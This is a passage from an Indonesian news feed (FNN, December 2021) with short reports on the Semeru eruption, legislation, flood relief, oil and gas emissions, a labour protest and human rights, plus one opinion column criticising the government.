tegaknya ideologi serta dasar negara Indonesia, yaitu Pancasila. Ruang-ruang virtual, kata dia, harus dinarasikan dengan ajaran-ajaran presiden pertama RI Soekarno, terutama tentang nilai Pancasila kepada generasi milenial. "Marilah, kita menjadi kader-kader yang tampil ke depan untuk menjaga, mempertahankan, sekaligus mengaktualisasikan ajaran-ajaran Soekarno. Yang terutama adalah ajaran Pancasila sebagai ideologi falsafah negara," imbau Arief. Melalui langkah tersebut, Arief merasa optimistis Negara Kesatuan Republik Indonesia (NKRI) akan senantiasa kukuh. Ia juga memohon dukungan dan konsolidasi dari seluruh anggota PA GMNI untuk memajukan organisasi tersebut. Selain penetapan Arief Hidayat sebagai Ketua Umum DPP PA GMNI, kongres itu juga menetapkan 11 orang tim formatur. Tim tersebut dipimpin oleh Arief dan beranggotakan 10 orang, yakni Ahmad Basarah, Abdi Yuhana, James Sumendap, Baginda, Soetarto, Alek Bajo, Yunus Takandewa, Albert Hama, Kletus B. Wetipo, dan Deni Wicaksono. Mereka akan bertugas memilih dan menetapkan susunan DPP PA GMNI masa bakti 2021—2026. (sws)

DPR Sampaikan Belasungkawa dan Doakan Warga Terdampak Erupsi Semeru

Jakarta, FNN - Wakil Ketua DPRI RI Sufmi Dasco Ahmad menyampaikan belasungkawa dari segenap anggota DPR RI atas musibah erupsi Gunung Semeru di Kabupaten Lumajang, Jawa Timur, dan mendoakan warga yang terdampak bencana alam tersebut. "Kami atas nama pimpinan dan seluruh anggota DPR menyampaikan turut prihatin dan duka yang mendalam atas musibah erupsi Gunung Semeru," ujar Dasco berdasarkan keterangan tertulis yang diterima di Jakarta, Rabu. Belasungkawa dan doa agar warga terdampak erupsi Gunung Semeru senantiasa diberikan kesehatan, ketabahan, keselamatan, dan dilindungi Tuhan, disampaikan Dasco dalam rapat paripurna ke-10 masa persidangan II tahun sidang 2021-2022, Jakarta, Selasa (7/12). Menurut Dasco, erupsi Gunung Semeru mengakibatkan adanya korban meninggal dunia dan beberapa orang mengalami luka. Berdasarkan data per Selasa (7/12), menurut Kantor Pencarian dan Pertolongan (SAR) Surabaya, jumlah korban meninggal dunia akibat erupsi Gunung Semeru mencapai 34 orang. Selain itu, ada pula warga terdampak erupsi yang mengalami kerusakan materi dan harta benda, seperti rumah tinggal. Tidak sampai di sana, bencana alam tersebut juga merusak sebagian besar fasilitas umum. "Untuk itu, marilah kita doakan masyarakat yang terdampak dengan bencana tersebut agar senantiasa diberikan kesehatan, ketabahan dan keselamatan, serta dalam perlindungan Allah SWT," tambah Dasco. Seperti yang diketahui, erupsi Gunung Semeru terjadi pada Sabtu (4/12). Hingga saat ini, Tim SAR gabungan terus melakukan pencarian terhadap korban yang dinyatakan hilang. Berdasarkan data termutakhir, diketahui ada 16 dari 43 korban yang masih dalam pencarian dan diidentifikasi oleh tim evakuasi. Berbagai upaya dalam menjalankan operasi penanganan darurat pasca-erupsi Gunung Semeru pun dilakukan oleh Badan Nasional Penanggulangan Bencana (BNPB). Mereka menurunkan lebih dari 900 personel gabungan dan beberapa bantuan peralatan untuk mencari korban yang hilang. (sws)

F-PKB Fokus Perjuangkan Pengesahan RUU TPKS dan Kesejahteraan Ibu-Anak

Jakarta, FNN - Ketua Fraksi PKB DPR RI Cucun Ahmad Syamsurijal menyatakan fraksinya akan fokus memperjuangkan pengesahan Rancangan Undang-Undang (RUU) Tindak Pidana Kekerasan Seksual (TPKS) dan RUU Kesejahteraan Ibu dan Anak. Menurut Cucun, berdasarkan keterangan tertulis yang diterima di Jakarta, Rabu, kedua RUU tersebut menjadi target prioritas Fraksi PKB dari 40 RUU dalam Program Legislasi Nasional (Prolegnas) Prioritas 2022 karena mempertimbangkan dinamika di lapangan. “Kami menilai RUU TPKS layak untuk segera ditetapkan karena saat ini terjadi darurat kekerasan seksual, sedangkan RUU Kesejahteraan Ibu dan Anak begitu penting karena akan memastikan jaminan kesehatan, ketercukupan gizi, hingga kesejahteraan ibu dan anak di Tanah Air,” ujar Cucun. Untuk diketahui, DPR RI telah menetapkan 40 RUU sebagai Program Legislasi Nasional (Prolegnas) Prioritas 2022 dalam rapat paripurna, Jakarta, Selasa (7/12). Terkait RUU TPKS, kata Cucun, aturan tersebut mendesak untuk disahkan karena korban kekerasan seksual di Indonesia semakin banyak, mulai dari anak di bawah umur, para pelajar, hingga ibu rumah tangga. Dari kasus termutakhir, Cucun mencontohkan peristiwa bunuh diri Novi Widyasari karena mengalami kekerasan dalam berpacaran. Menurutnya, kasus itu menjadi momentum untuk menyadari pentingnya perlindungan terhadap korban kekerasan seksual di Tanah Air. “RUU TPKS ini tidak sekadar memastikan hukuman bagi pelaku, tetapi juga perlindungan organ negara bagi korban kekerasan seksual agar bisa speak up (angkat bicara) sehingga tidak menyakiti diri sendiri,” tambah dia. Cucun juga menilai kekerasan seksual di Indonesia saat ini selayaknya fenomena gunung es, yaitu kasus yang muncul ke permukaan tampak tidak seberapa, padahal kasus di lapangan sangat banyak. Salah satu pemicu fenomena tersebut, kata dia, adalah korban kekerasan seksual yang tidak berani angkat bicara. Para korban, lanjut Cucun, merasa malu ataupun takut pada stigma dari masyarakat. Oleh karena itu, mereka lebih memilih untuk memendamnya sehingga mengalami kekerasan berulang yang menekan fisik, mental, bahkan spiritual. “Situasi ini tidak boleh terus dibiarkan sehingga RUU TPKS yang menjadi payung hukum untuk melindungi korban harus segera disahkan,” tegas Cucun. Terkait RUU Kesejahteraan Ibu dan Anak, menurut Cucun, aturan itu tidak kalah penting karena angka kematian ibu di Indonesia akibat melahirkan dan angka stunting pada anak masih tinggi. Cucun pun menilai ketiadaan perlindungan dan jaminan kesejahteraan bagi para ibu yang bekerja berdampak pada anak-anak mereka. “Para ibu yang harus bekerja terkadang sulit memberikan ASI eksklusif karena cuti melahirkan yang terbatas. Selain itu, ibu pekerja juga harus mendapat beban ganda saat harus merawat anak-anak mereka di usia emas,” jelas dia. Tantangan yang dihadapi para ibu tersebut, kata Cucun harus mendapatkan afirmasi dari negara, seperti memberikan cuti melahirkan yang lebih panjang. Dalam RUU Kesejahteraan Ibu dan Anak, tambah dia, diusulkan agar cuti bagi ibu melahirkan berdurasi 6-7 bulan sehingga mereka bisa memberikan ASI eksklusif kepada bayinya. “Bayi ini merupakan aset bangsa, para generasi emas yang harus mendapatkan perhatian dari ibu di masa pertumbuhan krusial mereka. Kami berharap pengesahan RUU Kesejahteraan Ibu dan Anak akan memastikan generasi muda Indonesia bakal lebih berkualitas di masa depan karena terjamin asupan gizi dan kesejahteraan mereka dari usia dini,” tutup Cucun. (sws)

Anggota DPR: Revisi UU Migas Beri Kepastian Hukum Investor-Regulator

Jakarta, FNN - Wakil Ketua Komisi VII DPR RI Eddy Soeparno menilai revisi Undang-Undang nomor 22 Tahun 2001 tentang Minyak dan Gas Bumi (UU Migas) akan memberikan kepastian hukum, baik bagi para investor maupun bagi regulator, yaitu Satuan Kerja Khusus (SKK) Migas. "Harapannya UU Migas yang baru merupakan landasan hukum yang membuat sektor migas kompetitif. Ada berbagai permasalahan namun yang penting menjawab permasalahan di sektor migas," kata Eddy dalam keterangannya di Jakarta, Rabu. Hal itu dikatakannya dalam Focus Group Discussion "Masa Depan Industri Hulu Migas di Indonesia dalam menghadapi Transisi Energi" yang digelar Pandawa Nusantara di Hotel Sultan, Jakarta, Selasa (7/12). Menurut dia, ada beberapa aspek permasalahan yang harus diselesaikan melalui revisi UU Migas tersebut. Dia menjelaskan, pertama, aspek politis, karena revisi UU Migas telah masuk ke DPR sejak 2008. "Kedua adalah aspek yuridis, karena Mahkamah Konstitusi (MK) telah membatalkan beberapa pasal dalam UU Migas yang lama," ujarnya. Eddy mengatakan, revisi UU Migas juga diharapkan dapat memperkuat dan membantu SKK Migas memenuhi target lifting migas 1 juta barel per hari pada 2030. Menurut dia, saat ini SKK Migas merupakan badan ad hoc, sementara para pengembang ingin memiliki kepastian hukum yang bisa membuat mereka mengikat kontrak untuk eksploitasi migas. Selain itu dia mengatakan, UU Migas baru juga akan mempermudah perizinan bagi para investor yang akan berinvestasi di industri migas Indonesia. "UU Migas yang ada saat ini membuat para investor tidak tertarik dan tidak mau berinvestasi karena perizinan yang masih rumit. Jadi tidak menarik sektor migas Indonesia dibandingkan dengan negara lain, tidak atraktif, jumlah izin bikin sakit kepala bagi investor yang ada di Indonesia," katanya. Eddy memastikan DPR RI akan merevisi UU Migas pada Masa Sidang DPR RI berikutnya karena sudah diputuskan di Badan Musyawarah di DPR agar revisi UU Migas masuk Prolegnas 2022 dan mulai dibahas pada masa sidang mendatang. (sws)

Warga Sintang: Kunjungan Presiden Pengobat Duka Setelah Banjir

Sintang, FNN - Warga Kelurahan Ladang Kecamatan Sintang wilayah Sintang Kalimantan Barat Eman Subekti mengatakan kunjungan Presiden Joko Widodo sebagai pengobat duka setelah bencana banjir yang sempat melanda Sintang yang terjadi hampir sebulan lamanya. "Saya merinding, Pak Jokowi datang ke Sintang, salut sama pak Jokowi merakyat, kedatangannya ini sebagai pengobat duka kami yang terdampak banjir," kata Eman Subekti yang juga salah satu korban banjir di Kelurahan Ladang Sintang Kalbar, Rabu. Disampaikan Eman, perhatian pemerintah atas bencana yang melanda Sintang merupakan wujud kepedulian pemerintah. Menurut dia, tidak hanya bantuan untuk korban banjir, namun saat ini ada upaya dalam penanganan dan antisipasi banjir pemerintah juga membangun tanggul pasir atau geobag dan geotube. "Tentunya apa pun upaya pemerintah jika itu yang terbaik untuk meminimalisir terjadinya banjir kami sebagai warga tetap mendukung program pemerintah," ucapnya. Apalagi dengan kedatangan langsung Presiden Jokowi, menurut Eman wujud kepedulian Jokowi terhadap masyarakat. "Terima kasih pak Jokowi kami bangga, saya merinding terharu Pak Jokowi datang ke Sintang," kata Eman. Kunjungan Presiden Joko Widodo bersama sejumlah menteri ke Kabupaten Sintang Provinsi Kalimantan Barat dalam rangka peresmian Bandara Tebelian, peninjauan pekerjaan geobag dan geotube, penyerahan bantuan sosial untuk korban dan penanganan banjir serta penanaman pohon. (mth)

Boyolali Kirim Sembilan Ton Beras bagi Pengungsi Awan Panas Semeru

Boyolali, FNN - Pemerintah Kabupaten Boyolali Provinsi Jawa Tengah mengirimkan bantuan sembilan ton beras berikut perlengkapan bayi untuk pengungsi korban guguran awan panas Gunung Semeru di Kabupaten Lumajang Jawa Timur. Pemkab Boyolali sangat prihatin dan merasa empati terhadap warga yang menjadi korban bencana awan panas Gunung Semeru di Lumajang Jawa Timur, karena warga Boyolali juga pernah merasakan hal serupa, kata Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Boyolali, Widodo Munir, di Boyolali, Rabu. Menurut Munir bantuan untuk korban erupsi Gunung Semeru di Lumajang antara lain berupa beras, perlengkapan bayi, mie instan, kasur atau matras dan juga masker diberangkatkan dari kantor BPBD Boyolali menggunakan tiga armada mobil truk menuju Lumajang. Dia mengatakan bantuan untuk korban Semeru tersebut merupakan donasi dari semua pihak di Kabupaten Boyolali termasuk dari Badan Umum Milik Daerah (BUMD). BPBD Boyolali sendiri mengirimkan batuan berupa masker non medis 103.845 lembar, matras atau kasur 50 buah, pampers bayi 1.440 buah, dan peralatan mandi 40 paket. Sedangkan, kata dia, untuk beras ada sembilan ton dengan rincian dari Korpri sebanyak 2.000 kg, Lazis Nahdlatul Ulama (NU) 1.000 kg, Badan Amil Zakat Nasional (Basnas) 1.000 kg, dan BUMD 5.000 kg serta 41 karton mie instan. Pihaknya berharap bantuan tersebut bisa sedikit mengurangi beban warga yang terdampak bencana Gunung Semeru di Lumajang, karena warga Boyolali juga pernah merasakan terkena erupsi Gunung Merapi pada 2010," katanya. Selain itu Pemkab Boyolali juga mengirimkan satu unit mobil tangki air bersih berikut operatornya ke daerah bencana. Mereka akan menginap selama satu minggu di Lumajang guna membantu pemulihan di daerah bencana. Semua operator mobil tangki air bersih tersebut merupakan relawan yang sudah dilatih dan mengetahui apa yang harus dilakukan di lokasi bencana. (mth)

Merengkuh Sosiologi Bencana

Oleh: Yusuf Blegur *) Gunung Semeru baru saja menyemburkan awan debu dan memuntahkan lahar panas. Korban jiwa dan harta serta kerusakan lingkungan tak terhindarkan. Begitu juga dengan bencana alam seperti kebakaran, banjir dan musibah-musibah lainnya yang selalu menimbulkan penderitaan masyarakat yang terdampak. Dalam suasana duka dan keprihatinan yang dalam, seketika dengan reaksi cepat mengalir juga simpati, empati dan bantuan masyarakat dari pelbagai penjuru tanah air. Satu kebiasaan rakyat Indonesia yang begitu responsif jika melihat saudara sebangsa dan setanah airnya mengalami kesusahan. Nilai-nilai lama dari warisan nenek moyang itu menjelma bukan saja sebagai tradisi dan kebiasaan. Solidaritas sosial itu telah menjadi karakter sekaligus budaya dari nilai-nilai gotong royong sebagai salah satu keluhuran bangsa Indonesia. Jika menyadari realitas itu, maka akan menjadi menarik mengangkat masalah bencana dari aspek sosiologi. Adanya mitos dan etos yang menjadi bagian dari kehidupan tradisional masyarakat. Sifat saling asa, saling asuh dan saling asih mendorong kearifan lokal tersebut menjadi faktor penting membangun kekuatan nasionalisme. Partisipasi rakyat dalam ikut membantu korban bencana patut diapresiasi dan menjadi kebanggaan. Tanpa menunggu penanganan dari pemerintah, inisiatif yang lahir dari organisasi kemasyarakatan dan para relawan. Berjibaku mengambil resiko, menempuh lokasi yang kadang terisolir, menyumbangkan tenaga, makanan, obat, pakaian dll yang dibutuhkan, dengan biaya sendiri atau secara kolektif demi membantu sesamanya. Mewujudkan nasionalisme dengan cara yang sederhana tanpa kerumitan dan problem-problem politik itu. Para relawan ikut peduli dan merasakan penderitaan dengan berbagi kepada yang membutuhkan. Dengan cara itulah partisipasi rakyat memaknai arti menjadi bagian dari sebuah bangsa dan negara. Selain membayar pajak dan melaksanakan perintah kontitusi dan kebijakan pemerintah lainnya. Ikut membantu korban bencana, merupakan salah satu jawaban bahwa tidak semua persoalan kehidupan rakyat harus diserahkan sepenuhnya kepada negara dan mempercayakan begitu saja kepada aparatur pemerintahan. Peran aktif, inisiasi dan kreatif harus dimiliki rakyat sebagai solusi dari masalah yang menggelutinya. Bencana Alam dan Bencana sosial Negeri ini belakangan terakhir terus mengalami kekacauan. Bukan hanya disebabkan oleh distorsi kebijakan dalam soal-soal politik dan ekonomi. Pembajakan konstitusi dan penerapannya yang ugal-ugalan demi kepentingan kelompok baik oligarki maupun borjuasi korporasi. Penyelenggaran manajemen yang serampangan, menyebabkan negara telah mengalami krisis multidimensi. Ironisnya bukan hanya soal demokrasi dan kesejahteraan rakyat yang dikorbankan demi kekuasaan yang korup dan tiran. Mirisnya, rezim juga telah sewenang-wenang menimbulkan kerusakan alam dan ekosistem yang ada didalamnya. Sama-sama berdampak buruk dan menyebabkan penderitaan hidup rakyat. Bencana alam dan bencana sosial seiring sejalan dan silih berganti memicu kemiskinan, menimbulkan wabah penyakit dan kelaparan. Serta tidak sedikit rakyat yang terintimidasi, mengalami teror, teraniaya dan terancam jiwanya. Sama halnya dengan alam ketika bergejolak, kekuasaan yang korup dan tangan besi juga dapat menyebabkan kematian yang massal dan kemunduran peradaban. Kalau dalam penanganan bencana alam ada beberapa kegiatan yang terkaitan dengan upaya deteksi dini, preventif, mitigasi dan evakuasi. Begitupun seharusnya pada penanganan bencana sosial. Potensi bahaya yang bisa timbul dari kesalahan sistem dan penyalahgunaan kekuasaan, juga sebuah resiko yang tidak bisa dianggap remeh. Kejahatan struktural dari suatu sistem yang dilakukan kekuasaan bukan hanya dapat menghancurkan keberadaan dan eksistensi fisik semata. Daya rusaknya juga mampu memengaruhi ranah psikologis dan psikopolitik. Terkadang melebihi bencana alam pada skala tertentu. Pada manusia bisa mendatangkan korban yang tidak sektoral, namun masif dan menyeluruh. Pada upaya perbaikan, ia tidak serta merta mudah dan cepat melakukan recovery dengan sekedar pembangunan berbiaya dan berteknologi. Membutuhkan proses waktu dan kepercayaan yang tinggi untuk memulihkannya. Dalam aspek sejarah dan peradaban manusia, bencana sosial menimbulkan preseden buruk, sikap skeptis dan apriori terhadap kepemimpinan dan masa depan politik suatu negara. Termasuk keberadaan hukum yang sudah lama tidak dipercaya rakyat. Bencana alam selain karena dipicu ulah manusia, rakyat juga masih bisa menerima kalau ada kehendak Tuhan yang melakukan intervensi. Sementara, bencana sosial lebih banyak didominasi oleh perilaku dan watak kekuasaan yang rakus, tamak dan serakah. Dalam kebanyakan prakteknya, kekuasaan yang dzolim berwajah memusuhi sesama manusia, tidak bersahabat pada lingkungan dan menegasikan keberadaan Tuhan dan syariat keagamaanya. Pemikiran dan sikap kritis selalu dihadapi rezim sebagai upaya pembangkangan, perlawanan dan tindakan makar. Rakyat negeri ini akankah terus pasrah pada keadaan?. Bencana demi bencana mungkinkan dianggap selalu karena keinginan dan takdir dari Tuhan. Mungkinkah rakyat merasakan bahwa pemimpin itu baik buruknya lahir dari rahimnya sendiri?. Kemaslahatan atau kemudharatan itu boleh jadi karena pemimpinnya alim atau dzolim. Atau bisa jadi, rakyat mendapatkan pemimpin dari representasinya sendiri. Mampukah rakyat menentukan nasibnya sendiri, tanpa pengaruh dan kekuatan yang menjauhkannya dari kebenaran dan keadilan?. Rakyat yang memilih pemimpin rakyat pula yang bisa mencabut mandatnya. Agar negara bisa lebih baik dan terhindar dari bencana yang jauh lebih besar lagi. Tak ada salahnya, sesekali rakyat mendengar apa kata agama. Bahwasanya, Tuhan tidak akan merubah nasib suatu kaum jika bukan karena kemauan kaum itu sendiri. Negeri ini, bisa tidak mampu, bisa juga tidak mau. Bisa pesimis, namun besar optimis mewujudkannya. Semoga. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Kementerian BUMN: Transaksi PaDi UMKM Rp16,2 Triliun per 30 November

Jakarta, FNN - Kementerian BUMN mencatat total volume transaksi Pasar Digital (PaDi) UMKM hingga akhir November telah mencapai Rp16,2 triliun. "Kita mengembangkan PaDi UMKM dan di sini kami bisa memaparkan bahwa dari catatan yang masuk di PaDi UMKM untuk volume transaksi eProcurement mencapai Rp15,2 triliun, sedangkan untuk transaksi B2B atau pembelian langsung oleh BUMN telah mencapai Rp1 triliun pada tahun 2021. Sehingga total transaksi yang tercatat di PaDI UMKM untuk UMKM dari BUMN sudah mencapai Rp16,2 triliun hingga akhir November 2021," kata Staf Ahli Bidang Keuangan dan Pengembangan UMKM Kementerian BUMN Loto S Ginting dalam seminar daring di Jakarta, Rabu. Dalam paparannya Loto juga menyampaikan bahwa total frekuensi transaksi PaDi UMKM hingga 30 November telah mencapai 210.627 item. Total frekuensi transaksi PaDi UMKM tersebut terdiri dari frekuensi transaksi eProcurement yang mencapai 160.153 item, sedangkan untuk frekuensi transaksi B2B mencapai 50.474 item hingga 30 November 2021. "Kami tetap berkomitmen untuk berpartisipasi dan juga mendukung pengembangan UMKM secara aktif," kata Loto. Sebelumnya Menteri BUMN Erick Thohir menegaskan bahwa UMKM bukanlah saingan BUMN, melainkan mitra strategis dalam membangun ekosistem yang sehat. Menurut Erick Thohir, kolaborasi dan kemitraan BUMN dan UMKM menjadi sangat penting, karena saat pandemi jangan hanya bertahan tapi juga harus membangun ekosistem untuk ketahanan bersama. Ia mengatakan ketika melakukan kunjungan kerja ke berbagai daerah untuk melihat langsung bagaimana rakyat bertahan dan perlahan bangkit pada masa pandemi COVID-19, terlihat UMKM telah menjadi tulang punggung serta berperan nyata dalam membangun perekonomian rakyat. (mth)

SKKMigas Lakukan Banyak Inisiatif Tekan Emisi Karbon

Jakarta, FNN - SKK Migas melakukan banyak inisiatif untuk menekan emisi karbon di tengah upaya mengejar target produksi minyak dan gas bumi (migas) untuk memenuhi kebutuhan energi yang terus meningkat. Berdasarkan data Satuan Kerja Khusus Pelaksana Kegiatan Usaha Hulu Minyak dan Gas Bumi (SKK Migas), yang dikutip di Jakarta, Rabu, salah satu inisiatif menekan emisi karbon adalah program penghijauan yang untuk tahun ini sudah disepakati bersama Kontraktor Kontrak Kerja Sama (KKKS) dalam Work Program and Budget (WP&B) mencakup 6,9 juta pohon seluas 14,1 ribu hektare. Jumlah tersebut diproyeksikan bisa menyerap CO2 mencapai 87,1 ribu ton per tahun. Program penghijauan itu pun telah masuk dalam Key Performance Indicator (KPI) SKK Migas. Sejumlah inisiatif untuk menekan emisi karbon tersebut adalah: 1. Penerapan Kebijakan dan Regulasi - Komitmen Paris Agreement - Berdasarkan zero flaring yang tertuang dalam Permen ESDM 17/2021 - Penilaian Proper berdasar Kepmenkeu No 1/2021, pengelolaan energi berdasar Permen ESDM No 14/2012 dan PTK 005 SKK Migas - Penyusunan Permen ESDM tentang Carbon Capture and Storage (CCS)/Carbon Capture Utilization Storage (CCUS). 2. Pengelolaan energi - Menurunkan intensitas energi - Fuel switching - Design & engineering yang menerapkan konservasi energi, kebijakan perusahaan dalam pemanfaatan energi. - Penerapan LCA (Llife Cycle Analisys) - Pemrosesan ulang limbah. 3. Zero routing flaring - Monetisasi associated gas, termasuk konversi elpiji - Pemanfaatan associated gas untuk fuel operasi, pressure maintenance dan lain-lain -SKK Migas juga mendorong monetisasi kapasitas lebih power generation. 4. Mengurangi emisi kebocoran - Melakukan pengukuran dan monitoring emisi kebocoran (fugitive emission) - Inspeksi rutin dan check minor terhadap fasilitas produksi. - Memperbaiki kebocoran dan pipa open ended - Meningkatkan aktifitas offloading - Meningkatkan manajemen stok minyak mentah 5. Penghijauan atau reforestation - Penanaman mangrove di area pantai (KKKS offshore & nearshore) - Rehabiilitasi DAS, penanaman kembali di area perkantoran, ORF, shorebase 6. CCS/CCUS - Penerapan reinjeksi gas pada gas enhanced recovery - Pengkajian pemanfaatan CCU/CCUS Sebelumnya Kepala SKK Migas Dwi Soetjipto mengatakan pihaknya tengah menyusun peta jalan pengelolaan lingkungan industri hulu migas. SKK Migas pun melakukan pembandingan dan berkolaborasi dengan pemangku kepentingan lainnya untuk melihat potensi strategi untuk mencapai target-target tersebut. "Kami melakukan kajian melalui benchmarking potensi kegiatan dan strategi yang akan dilakukan. Hasil benchmarking akan digunakan untuk menyusun roadmap, sehingga dapat diketahui prioritas utama strategi untuk penurunan emisi karbon dalam rangka peningkatan produksi migas," katanya. Dia menargetkan dalam kurun waktu paling tidak empat bulan ke depan, roadmap bisa rampung sehingga berbagai perencanaan bisa diimplementasikan. Penghijauan jadi salah satu andalan perusahaan manapun untuk menekan emisi karbon serta sebagai kewajiban yang sudah tertuang dalam regulasi saat pemanfaatan lahan untuk berbagai kegiatan produksi dan pengolahan sumber daya alam. Sementara itu ​​​​Direktur Eksekutif Institute for Essential Services Reform (IESR) Fabby Tumiwa menjelaskan saat ini dunia dihadapkan pada tantangan untuk mengendalikan emisi Gas Rumah Kaca (GRK). "Perusahaan-perusahaan minyak pun sudah beberapa punya target net zero emissions atau karbon netral di 2050," katanya. Menurut dia, salah satu emisi yang tinggi di industri migas adalah gas metana. "Metana punya global warming potential sebesar 20x dari CO2. Jadi, mengurangi gas metana, dari sudut pandang pengendalian emisi GRK sebenarnya lebih cost effective," ungkap Fabby. Fabby juga mengatakan teknologi CCUS dikombinasi dengan EOR bisa meningkatkan produksi migas. Hanya saja, investasi CCUS cukup mahal, setara dengan 100-120 dolar AS/ton CO2. "Jadi kalau mau diberikan insentif bisa saja," ujarnya. Vorwata Enhanced Gas Recovery (EGR) CCUS di Papua akan menjadi proyek pertama di Indonesia. Melalui proyek ini, gas CO2 yang diproduksi akan diinjeksi kembali ke dalam reservoir Vorwata untuk membantu meningkatkan produksi gas. Nader Zaki, Presiden BP Indonesia, menyatakan secara total, jumlah CO2 yang diinjeksikan akan mencapai 25 juta ton pada 2035 dan 33 juta ton pada 2045. Dari sisi produksi gas, proyek ini berpotensi meningkatkan produksi gas sebesar 300 miliar kaki kubik (BCF) pada 2035 atau mencapai 520 BCF pada 2045. Menurut dia, saat proyek itu mulai beroperasi pada 2026 atau 2027, Kilang LNG Tangguh akan menjadi salah satu kilang LNG dengan tingkat emisi karbon terendah di dunia. "Dengan melakukan hal ini, kita akan meningkatkan produksi sekaligus mengurangi emisi karbon," ujar Nader. (mth)

Sebanyak 902 Rumah Warga Daerah Pesisir Bangka Belitung Tergenang Akibat Banjir Rob

Pangkalpinang, FNN - Setidaknya 902 rumah warga tergenang akibat banjir rob yang terjadi di beberapa daerah pesisir di Provinsi Kepulauan Bangka Belitung menurut Badan Penanggulangan Bencana Daerah (BPBD) setempat. Kepala BPBD Provinsi Kepulauan Bangka Belitung Mikron Antariksa di Pangkalpinang, Rabu, mengatakan bahwa banjir rob paling parah terjadi di Kota Pangkalpinang, tempat 464 rumah warga tergenang pada Selasa (7/12) malam. Di Kota Pangkalpinang, ia menjelaskan, banjir rob menggenangi 144 rumah di Kelurahan Opas Indah, 150 rumah di Kampung Seberang, 60 rumah di Kelurahan Rejosari, dan 110 rumah di Kelurahan Pasir Putih. Banjir rob juga menyebabkan 358 rumah warga di Kabupaten Bangka tergenang. Perinciannya, banjir rob menggenangi 30 rumah di Lingkungan Air Hanyut, 25 rumah di Kampung Pasir, 23 rumah di Cokro, 143 rumah di daerah Nelayan 1, 95 rumah di daerah Nelayan 2, dan 42 rumah di Parit Pekir. Selain itu, banjir rob berdampak pada 40 rumah di Kelurahan Tanjung, Kabupaten Bangka Barat; 10 rumah di Sijuk, Kabupaten Belitung; dan 30 rumah di Batu Belubang, Kabupaten Bangka Tengah. "Alhamdulillah banjir rob ini sudah mulai surut dan tim reaksi cepat telah dikerahkan untuk berjaga-jaga mewaspadai banjir rob susulan mengingat air laut kembali pasang dan hujan lebat mulai turun," kata Mikron. (mth)

Polda Metro Siapkan Rekayasa Arus Lalu Lintas Terkait Demo Buruh

Jakarta, FNN - Direktorat Lalu Lintas Polda Metro Jaya menyiapkan rekayasa lalu lintas untuk menjamin kelancaran arus lalu lintas selama pelaksanaan aksi unjuk rasa elemen buruh yang difokuskan di kawasan Patung Kuda dan kawasan Monumen Nasional (Monas) Jakarta Pusat. "Hari ini untuk pengamanan hari unjuk rasa buruh kita sudah siapkan rekayasa lalu lintasnya di sekitaran Bundaran Patung Kuda karena diperkirakan massa buruh cukup banyak," kata Direktur Lalu Lintas Polda Metro Jaya Kombes Pol Sambodo Purnomo Yogo di Jakarta, Rabu, 8 Desember 2021. Sambodo mengatakan pihak kepolisian telah menutup jalan di depan Gedung Sapta Pesona, Jakarta Pusat, untuk pengamanan unjuk rasa. Sedangkan penutupan titik lainnya akan menyesuaikan situasi di lapangan. Adapun titik yang diperkirakan akan ditutup antara lain persimpangan Thamrin-Kebon Sirih dan Jalan Medan Merdeka Selatan karena massa diperkirakan akan bergerak menuju Balai Kota DKI Jakarta. "Karena massa buruh nanti menggunakan bis dengan jumlah cukup banyak, maka kantong parkir bus nanti kita tempatkan di seputar Jalan Medan Merdeka Selatan karena setelah dari bundaran Patung Kuda diperkirakan nanti buruh akan mampir ke sekitar Balai Kota," ujar Sambodo, sebagaimana dikutip dari Antara. Diketahui, ribuan buruh dari sejumlah serikat pekerja siap menggelar aksi demo untuk menyampaikan tuntutan kenaikan upah minimum provinsi (UMP) minimal 10 persen di sekitar Bundaran Patung Kudan dan Balai Kota DKI Jakarta pada Rabu. Buruh juga meminta Presiden Joko Widodo mengeluarkan diskresi dengan membuat Keputusan Presiden (Kepres) untuk membatalkan SK Gubernur, dan menaikkan upah 10-15 persen. Berdasarkan formula dari Peraturan Pemerintah Nomor 36 Tahun 2021, kenaikan UMP di DKI Jakarta tahun 2022 hanya sebesar Rp 37.749 atau 0,85 persen menjadi Rp 4.453.935 per bulan. Buruh menilai besaran kenaikan UMP tersebut belum efektif untuk memulihkan pertumbuhan ekonomi lewat daya beli. (MD).

HAM Norma Permudah Jalannya Fungsi Negara Layani Warga

Jakarta, FNN - Wakil Ketua Eksternal Komisi Nasional Hak Asasi Manusia (Komnas HAM) Amiruddin mengatakan HAM adalah norma yang mempermudah jalannya fungsi negara dalam melayani masyarakat. "Namun, sayangnya kita di Indonesia acap kali instansi kenegaraan kalau bicara tentang hak asasi manusia malah menghindar," kata dia pada rangkaian kegiatan peringatan Hari HAM Sedunia Ke-73 yang dipantau di Jakarta, Rabu, 8 Desember 2021. Alasannya, ujar Ketua Konsultan/Peneliti Papua Resource Center, YLBHI Jakarta periode 2015 hingga 2017 tersebut banyak pihak menganggap kalau bicara atau membahas HAM maka yang datang masalah semua. "HAM jadi masalah bila baru dibicarakan bukan di awal menjalankan fungsi negara," kata Amiruddin, sebagaimana dikutip dari Antara. Oleh karena itu, jika semua penyelenggara negara berpegang teguh pada konstitusi RI, maka HAM adalah norma yang harus dijalankan. Baik untuk menyiapkan setiap program negara atau pemerintah maupun dalam rangka mengevaluasi agar sasarannya tercapai. Sasaran yang ingin dicapai dari penerapan segala kebijakan negara tersebut ialah bagaimana membangun jiwa dan raga setiap warga negara. Sebab, hal itu adalah perintah konstitusi. Ia mengatakan kalau semua pihak menyadari perintah konstitusi tersebut dalam membangun tujuan bernegara, maka ketika membicarakan HAM adalah tugas dan tanggung jawab bersama terutama penyelenggara negara. Namun, bila hal itu tidak dijalankan maka setiap harinya akan ada atau muncul persoalan-persoalan baru seperti yang terjadi belakangan ini. "Karena sudah menjadi persoalan, rakyat dianggap rewel dalam mempertanyakan haknya," ujarnya. Padahal, jika dari awal seluruh kegiatan dan program pemerintah diukur dengan HAM dan dilaksanakan untuk tujuan pemenuhan HAM, persoalan-persoalan tidak akan sebanyak itu, kata Peneliti Pusat Penelitian Politik (P2P) LIPI Jakarta tahun 2006 hingga 2012 itu. "Kenapa, karena warga negara yang memiliki hak tadi sedari awal sudah diajak bicara," ujarnya. (MD).

Parpol, Politik Kriminal dan Otoritarianisme Korup Rezim Jokowi

